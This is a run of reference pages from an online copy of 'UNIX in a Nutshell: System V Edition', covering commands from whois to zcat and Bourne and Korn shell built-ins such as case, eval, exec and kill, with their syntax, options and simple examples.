UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: whoami Chapter 2
UNIX Commands 		Next: Reference: write

whois

whois [option] name

Search an Internet directory for the person, login, handle, or organization specified by name. Precede name with the modifiers !, ., or *, alone or in combination, to limit the search to either (1) the name of a person or of a username, (2) a handle, or (3) an organization.

Option

-h host

Search on host machine host.

Previous: Reference: whoami | UNIX in a Nutshell: System V Edition | Next: Reference: write
Reference: whoami | Book Index | Reference: write
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: write

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: whois Chapter 2
UNIX Commands 		Next: Reference: xargs

write

write user [tty]
message

Initiate or respond to an interactive conversation with user. A write session is terminated with EOF. If the user is logged in to more than one terminal, specify a tty number.

Previous: Reference: whois | UNIX in a Nutshell: System V Edition | Next: Reference: xargs
Reference: whois | Book Index | Reference: xargs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: xargs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: write Chapter 2
UNIX Commands 		Next: Reference: yacc

xargs

xargs [options] [command]

Execute command (with any initial arguments), but read remaining arguments from standard input instead of specifying them directly. xargs passes these arguments in several bundles to command, allowing command to process more arguments than it could normally handle at once. The arguments are typically a long list of filenames (generated by ls or find, for example) that get passed to xargs via a pipe.

Options

-estring

Stop passing arguments when argument string is encountered (default is underscore).

-i

Pass arguments to command, replacing instances of { } on the command line with the current line of input.

-ln

Execute command for n lines of arguments.

-nn

Execute command with up to n arguments.

-p

Prompt for a y to confirm each execution of command.

-sn

Each argument list can contain up to n characters (470 is the default and the maximum value).

-t

Echo each command before executing.

-x

Exit if argument list exceeds n characters (from -s); -x takes effect automatically with -i and -l.

Examples

grep for pattern in all files on the system:

find / -print | xargs grep pattern > out &

Run diff on file pairs (e.g., f1.a and f1.b, f2.a and f2.b ...):

echo $* | xargs -n2 diff

The previous line would be invoked as a shell script, specifying filenames as arguments. Display file, one word per line (same as deroff -w):

cat file | xargs -n1

Move files in olddir to newdir, showing each command:

ls olddir | xargs -i -t mv olddir/{ } newdir/{ }

Previous: Reference: write | UNIX in a Nutshell: System V Edition | Next: Reference: yacc
Reference: write | Book Index | Reference: yacc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: yacc

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: xargs Chapter 2
UNIX Commands 		Next: Reference: zcat

yacc

yacc [options] file

Given a file containing context-free grammar, convert file into tables for subsequent parsing and send output to y.tab.c. This command name stands for yet another compiler-compiler. See also lex and the Nutshell Handbook lex & yacc.

Options

-d

Generate y.tab.h, producing #define statements that relate yacc's token codes to the token names declared by the user.

-l

Exclude #line constructs from code produced in y.tab.c. (Use after debugging is complete.)

-Qc

Place version information about yacc in y.tab.c (if c = y) or suppress information (if c = n, the default).

-t

Compile runtime debugging code by default.

-v

Generate y.output, a file containing diagnostics and notes about the parsing tables.

-V

Print the version of yacc on standard error.

Previous: Reference: xargs | UNIX in a Nutshell: System V Edition | Next: Reference: zcat
Reference: xargs | Book Index | Reference: zcat
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: zcat

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: yacc Chapter 2
UNIX Commands 		Next: 2. UNIX Commands

zcat

zcat [files]

Uncompress one or more .Z files to the standard output, leaving files unchanged. See compress.

Previous: Reference: yacc | UNIX in a Nutshell: System V Edition | Next: 2. UNIX Commands
Reference: yacc | Book Index | 2. UNIX Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: #

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 4.6 Built-in Commands (Bourne and Korn Shell) Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: #!shell

#

#

Ignore all text that follows on the same line. # is used in shell scripts as the comment character and is not really a command. (Take care when commenting a Bourne shell script. A file that has # as its first character is sometimes interpreted as a C shell script.)

Previous: 4.6 Built-in Commands (Bourne and Korn Shell) | UNIX in a Nutshell: System V Edition | Next: Reference: #!shell
4.6 Built-in Commands (Bourne and Korn Shell) | Book Index | Reference: #!shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: #!shell

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: # Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: :

#!shell

#!shell

Used as the first line of a script to invoke the named shell (with optional arguments). Not supported in all shells. For example:

#!/bin/sh -v

Previous: Reference: # | UNIX in a Nutshell: System V Edition | Next: Reference: :
Reference: # | Book Index | Reference: :
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: :

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: #!shell Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: .

:

:

Null command. Returns an exit status of 0. Sometimes used as the first character in a file to denote a Bourne shell script. See example below and under case. In the Korn shell, shell variables can be placed after the : to expand them to their values.

Example

Check whether someone is logged in:

if who | grep $1 > /dev/null
then :	# do nothing
    # if pattern is found
else echo "User $1 is not logged in"
fi

Previous: Reference: #!shell | UNIX in a Nutshell: System V Edition | Next: Reference: .
Reference: #!shell | Book Index | Reference: .
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: [[ ]]

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: . Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: name

[[ ]]

[[expression]]

Korn shell only. Same as test expression or [expression], except that [[ ]] allows additional operators. Word splitting and filename expansion are disabled. Note that the brackets ([ ]) are typed literally.

Additional operators

&&

Logical AND of test expressions.

||

Logical OR of test expressions.

>

First string is lexically "greater than" the second.

<

First string is lexically "less than" the second.

Previous: Reference: . | UNIX in a Nutshell: System V Edition | Next: Reference: name
Reference: . | Book Index | Reference: name
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: alias

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: name Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: autoload

alias

alias [options] [name[='cmd']]

Korn shell only. Assign a shorthand name as a synonym for cmd. If ='cmd' is omitted, print the alias for name; if name is also omitted, print all aliases. See also unalias. The aliases below are built into the Korn shell. Some use names of existing Bourne shell or C shell commands (which points out the similarities among the shells).

autoload='typeset -fu'
echo='print -'
false='let 0'
function='typeset -f'
hash='alias -t'
history='fc -l'
integer='typeset -i'
nohup='nohup '
pwd='print -r - $PWD'
r='fc -e -'
true=':'
type='whence -v'

Options

-t

Create a tracked alias for a UNIX command name. The Korn shell remembers the full pathname of the command, allowing it to be found more quickly and to be issued from any directory. If no name is supplied, current tracked aliases are listed. Tracked aliases are the same as hashed commands in the Bourne shell.

-x

Export the alias; it can now be used in shell scripts and other subshells. If no name is supplied, current exported aliases are listed.

Example

alias dir='basename `pwd`'

Previous: Reference: name | UNIX in a Nutshell: System V Edition | Next: Reference: autoload
Reference: name | Book Index | Reference: autoload
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: autoload

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: alias Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: bg

autoload

autoload [functions]

Load (define) the functions only when they are first used. Korn shell alias for typeset -fu.

Previous: Reference: alias | UNIX in a Nutshell: System V Edition | Next: Reference: bg
Reference: alias | Book Index | Reference: bg
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: bg

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: autoload Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: break

bg

bg [jobIDs]

Put current job or jobIDs in the background. See "Job Control."

Previous: Reference: autoload | UNIX in a Nutshell: System V Edition | Next: Reference: break
Reference: autoload | Book Index | Reference: break
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: break

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: bg Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: case

break

break [n]

Exit from the innermost (most deeply nested) for, while or until loop, or from the n innermost levels of the loop. Also exits from a select list.

Previous: Reference: bg | UNIX in a Nutshell: System V Edition | Next: Reference: case
Reference: bg | Book Index | Reference: case
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: case

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: break Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: cd

case

case value in
    pattern1) cmds1;;
    pattern2) cmds2;;
    .
    .
    .
esac

Execute the first set of commands (cmds1) if value matches pattern1, execute the second set of commands (cmds2) if value matches pattern2, etc. Be sure the last command in each set ends with ;; . value is typically a positional parameter or other shell variable. cmds are typically UNIX commands, shell programming commands, or variable assignments. Patterns can use file generation metacharacters. Multiple patterns (separated by |) can be specified on the same line; in this case, the associated cmds are executed whenever value matches any of these patterns. See below and under eval for examples. (Note: the Korn shell allows pattern to be preceded by an optional open parenthesis, as in (pattern). It's useful for balancing parentheses inside a $( ) construct.)

Examples

Read first command-line argument and take appropriate action:

case $1 in	#match the first arg
    no|yes) response=1;;
    -[tT])  table=TRUE;;
    *)      echo "unknown option"; exit 1;;
esac

Read user-supplied lines until user exits:

while :	# Null command; always true
do
   echo "Type . to finish ==> \c"
   read line
   case "$line" in
      .) echo "Message done"
         break ;;
      *) echo "$line" >> $message ;;
   esac
done

Previous: Reference: break | UNIX in a Nutshell: System V Edition | Next: Reference: cd
Reference: break | Book Index | Reference: cd
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: cd

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: case Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: continue

cd

cd [dir]
cd [ - ]
cd [ old new ]

With no arguments, change to home directory of user. Otherwise, change working directory to dir. If dir is a relative pathname but is not in the current directory, then the CDPATH variable is searched. The last two command forms are specific to the Korn shell, where - stands for the previous directory. The third syntax modifies the current directory name by replacing string old with new, then switches to the resulting directory.

Example

$ pwd
/usr/spool/cron
$ cd cron uucp	# cd prints the new directory
/usr/spool/uucp

Previous: Reference: case | UNIX in a Nutshell: System V Edition | Next: Reference: continue
Reference: case | Book Index | Reference: continue
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: continue

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: cd Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: do

continue

continue [n]

Skip remaining commands in a for, while, or until loop, resuming with the next iteration of the loop (or skipping n loops).

Previous: Reference: cd | UNIX in a Nutshell: System V Edition | Next: Reference: do
Reference: cd | Book Index | Reference: do
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: do

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: continue Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: done

do

do

Reserved word that precedes the command sequence in a for, while, until, or select statement.

Previous: Reference: continue | UNIX in a Nutshell: System V Edition | Next: Reference: done
Reference: continue | Book Index | Reference: done
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: done

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: do Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: echo

done

done

Reserved word that ends a for, while, until, or select statement.

Previous: Reference: do | UNIX in a Nutshell: System V Edition | Next: Reference: echo
Reference: do | Book Index | Reference: echo
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: echo

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: done Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: esac

echo

echo [-n] [string]

Write string to standard output; if -n is specified, the output is not terminated by a newline. If no string is supplied, echo a newline. In the Korn shell, echo is just an alias for print -. (See also echo in Section 2.) echo understands special escape characters, which must be quoted (or escaped with a \) to prevent interpretation by the shell:

\b

Backspace.

\c

Suppress the terminating newline (same as -n).

\f

Formfeed.

\n

Newline.

\r

Carriage return.

\t

Tab character.

\\

Backslash.

\0nnn

ASCII character represented by octal number nnn, where nnn is 1, 2, or 3 digits and is preceded by a 0.

Examples

$ echo "testing printer" | lp
$ echo "Warning: ringing bell \007"

Previous: Reference: done | UNIX in a Nutshell: System V Edition | Next: Reference: esac
Reference: done | Book Index | Reference: esac
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: esac

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: echo Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: eval

esac

esac

Reserved word that ends a case statement. Omitting esac is a common programming error.

Previous: Reference: echo | UNIX in a Nutshell: System V Edition | Next: Reference: eval
Reference: echo | Book Index | Reference: eval
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: eval

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: esac Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: exec

eval

eval args

Typically, eval is used in shell scripts, and args is a line of code that contains shell variables. eval forces variable expansion to happen first and then runs the resulting command. This "double-scanning" is useful any time shell variables contain input/output redirection symbols, aliases, or other shell variables. (For example, redirection normally happens before variable expansion, so a variable containing redirection symbols must be expanded first using eval; otherwise, the redirection symbols remain uninterpreted.) See the C-shell eval (Section 5) for another example.

Example

This fragment of a Bourne shell script shows how eval constructs a command that is interpreted in the right order:

for option
do
   case "$option" in   #define where output goes
      save) out=' > $newfile' ;;
      show) out=' | more' ;;
   esac
done

eval sort $file $out

Previous: Reference: esac | UNIX in a Nutshell: System V Edition | Next: Reference: exec
Reference: esac | Book Index | Reference: exec
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: exec

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: eval Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: exit

exec

exec [command]

Execute command in place of the current process (instead of creating a new process). exec is also useful for opening, closing, or copying file descriptors.

Examples

trap 'exec 2>&-' 0	Close standard error when
    shell script exits (signal 0).
$ exec /bin/csh	Replace Bourne shell with C shell.
$ exec < infile	Reassign standard input to infile.

Previous: Reference: eval | UNIX in a Nutshell: System V Edition | Next: Reference: exit
Reference: eval | Book Index | Reference: exit
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: exit

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: exec Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: export

exit

exit [n]

Exit a shell script with status n (e.g., exit 1). n can be 0 (success) or nonzero (failure). If n is not given, exit status will be that of the most recent command. exit can be issued at the command line to close a window (log out).

if [ $# -eq 0 ]; then
   echo "Usage:  $0 [-c] [-d] file(s)"
   exit 1	# Error status
fi

Previous: Reference: exec | UNIX in a Nutshell: System V Edition | Next: Reference: export
Reference: exec | Book Index | Reference: export
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: export

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: exit Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: false

export

export [variables]
export [name=[value]]...

Pass (export) the value of one or more shell variables, giving global meaning to the variables (which are local by default). For example, a variable defined in one shell script must be exported if its value will be used in other programs called by the script. If no variables are given, export lists the variables exported by the current shell. The second form is the Korn shell version, which is similar to the first form except that you can set a variable name to a value before exporting it.

Example

In the Bourne shell, you would type:

TERM=vt100
export TERM

In the Korn shell, you could type this instead:

export TERM=vt100

Previous: Reference: exit | UNIX in a Nutshell: System V Edition | Next: Reference: false
Reference: exit | Book Index | Reference: false
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: false

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: export Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: fc

false

false

Korn shell alias for let 0.

Previous: Reference: export | UNIX in a Nutshell: System V Edition | Next: Reference: fc
Reference: export | Book Index | Reference: fc
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: fc

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: false Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: fg

fc

fc [options] [first [last]]
fc  -e  - [old=new] [command]

Korn shell only. Display or edit commands in the history list. (Use only one of -l or -e.) fc provides capabilities similar to the C shell's history and ! syntax. first and last are numbers or strings specifying the range of commands to display or edit. If last is omitted, fc applies to a single command (specified by first). If both first and last are omitted, fc edits the previous command or lists the last 16. The second form of fc takes a history command, replaces old string with new string, and executes the modified command. If no strings are specified, command is just re-executed. If no command is given either, the previous command is re-executed. command is a number or string like first. See examples under "Command History."

Options

-e [editor]

Invoke editor to edit the specified history commands. The default editor is set by shell variable FCEDIT.

-e -

Execute (or redo) a history command; refer to second syntax line above.

-l

List the specified command or range of commands, or list the last 16.

-n

Suppress command numbering from the -l listing.

-r

Reverse the order of the -l listing.

Previous: Reference: false | UNIX in a Nutshell: System V Edition | Next: Reference: fg
Reference: false | Book Index | Reference: fg
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: fg

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: fc Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: fi

fg

fg [jobIDs]

Bring current job or jobIDs to the foreground. See "Job Control."

Previous: Reference: fc | UNIX in a Nutshell: System V Edition | Next: Reference: fi
Reference: fc | Book Index | Reference: fi
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: fi

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: fg Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: for

fi

fi

Reserved word that ends an if statement. (Don't forget to use it!)

Previous: Reference: fg | UNIX in a Nutshell: System V Edition | Next: Reference: for
Reference: fg | Book Index | Reference: for
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: for

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: fi Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: function

for

for x [in list]
do
     commands
done

For variable x (in optional list of values) do commands. If list is omitted, "$@" (positional parameters) is assumed.

Examples

Paginate files specified on the command line; save each result:

for file do
     pr $file > $file.tmp
done

Search chapters for a list of words (like fgrep -f):

for item in `cat program_list`
do
     echo "Checking chapters for"
     echo "references to program $item..."
     grep -c "$item.[co]" chap*
done

Extract a one-word title from each file and use as new filename:

for file do
     name=`sed -n 's/NAME: //p' $file`
     mv $file $name
done

Previous: Reference: fi | UNIX in a Nutshell: System V Edition | Next: Reference: function
Reference: fi | Book Index | Reference: function
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: function

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: for Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: getopts

function

function name { commands; }

Korn shell alias for typeset -f. See name earlier in this listing.

Previous: Reference: for | UNIX in a Nutshell: System V Edition | Next: Reference: getopts
Reference: for | Book Index | Reference: getopts
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: getopts

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: function Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: hash

getopts

getopts string name [args]

Process command-line arguments (or args, if specified) and check for legal options. getopts is used in shell script loops and is intended to ensure standard syntax for command-line options. Standard syntax dictates that command-line options begin with a + or a -. Options can be stacked; i.e., consecutive letters can follow a single -. End processing of options by specifying -- on the command line. string contains the option letters to be recognized by getopts when running the shell script. Valid options are processed in turn and stored in the shell variable name. If an option is followed by a colon, the option must be followed by one or more arguments. getopts uses the shell variables OPTARG and OPTIND. getopts is available to non-Bourne shell users as /usr/bin/getopts.

Previous: Reference: function | UNIX in a Nutshell: System V Edition | Next: Reference: hash
Reference: function | Book Index | Reference: hash
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: hash

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: getopts Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: hash

hash

hash

Korn shell alias for alias -t. Emulates Bourne shell's hash.

Previous: Reference: getopts | UNIX in a Nutshell: System V Edition | Next: Reference: hash
Reference: getopts | Book Index | Reference: hash
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: history

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: hash Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: if

history

history

Show the last 16 commands. Korn shell alias for fc -l.

Previous: Reference: hash | UNIX in a Nutshell: System V Edition | Next: Reference: if
Reference: hash | Book Index | Reference: if
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: if

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: history Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: integer

if

if condition1
then commands1
[ elif condition2
    then commands2 ]
 .
 .
 .
[ else commands3 ]
fi

If condition1 is met, do commands1; otherwise, if condition2 is met, do commands2; if neither is met, do commands3. Conditions are usually specified with the test command. See additional examples under : and exit.

Examples

Insert a 0 before numbers less than 10:

if [ $counter -lt 10 ]
then number=0$counter
else number=$counter
fi

Make a directory if it doesn't exist:

if [ ! -d $dir ]; then
   mkdir $dir
   chmod 775 $dir
fi

Previous: Reference: history | UNIX in a Nutshell: System V Edition | Next: Reference: integer
Reference: history | Book Index | Reference: integer
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: integer

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: if Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: jobs

integer

integer

Specify integer variables. Korn shell alias for typeset -i.

Previous: Reference: if | UNIX in a Nutshell: System V Edition | Next: Reference: jobs
Reference: if | Book Index | Reference: jobs
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: jobs

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: integer Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: kill

jobs

jobs [options] [jobIDs]

List all running or stopped jobs, or list those specified by jobIDs. For example, you can check whether a long compilation or text format is still running. Also useful before logging out. See "Job Control."

Options

-l

List job IDs and process group IDs.

-n

List only jobs whose status changed since last notification. Korn shell only.

-p

List process group IDs only.

-x cmd

Replace each job ID found in cmd with the associated process ID and then execute cmd. Not valid for Korn shell.

Previous: Reference: integer | UNIX in a Nutshell: System V Edition | Next: Reference: kill
Reference: integer | Book Index | Reference: kill
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: kill

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: jobs Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: let

kill

kill [options] IDs

Terminate each specified process ID or job ID. You must own the process or be a privileged user. This built-in is similar to /bin/kill described in Section 2. See also "Job Control."

Options

-l

List the signal names. (Used by itself.)

-signal

The signal number (from ps -f) or name (from kill -l). With a signal number of 9, the kill is absolute.

Signals

Signals are defined in /usr/include/sys/signal.h and are listed here without the SIG prefix.

HUP	1	hangup
INT	2	interrupt
QUIT	3	quit
ILL	4	illegal instruction
TRAP	5	trace trap
IOT	6	IOT instruction
EMT	7	EMT instruction
FPE	8	floating point exception
KILL	9	kill
BUS	10	bus error
SEGV	11	segmentation violation
SYS	12	bad argument to system call
PIPE	13	write to pipe, but no process to read it
ALRM	14	alarm clock
TERM	15	software termination (the default signal)
USR1	16	user-defined signal 1
USR2	17	user-defined signal 2
CLD	18	child process died
PWR	19	restart after power failure

Previous: Reference: jobs | UNIX in a Nutshell: System V Edition | Next: Reference: let
Reference: jobs | Book Index | Reference: let
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: let

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: kill Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: newgrp

let

let expressions
     or
((expressions))

Korn shell only. Perform arithmetic as specified by one or more integer expressions. expressions consist of numbers, operators, and shell variables (which don't need a preceding $). Expressions must be quoted if they contain spaces or other special characters. The (( )) form does the quoting for you. For more information and examples, see "Arithmetic Expressions" earlier in this section. See also expr in Section 2.

Examples

Each example below adds 1 to variable i.

i=`expr $i + 1`
let i=i+1
let "i = i + 1"
(( i = i + 1 ))

Previous: Reference: kill | UNIX in a Nutshell: System V Edition | Next: Reference: newgrp
Reference: kill | Book Index | Reference: newgrp
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Reference: newgrp

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: Reference: let Chapter 4
The Bourne Shell and Korn Shell 		Next: Reference: nohup

newgrp

newgrp [group]

Change your group ID to group, or return to your default group.

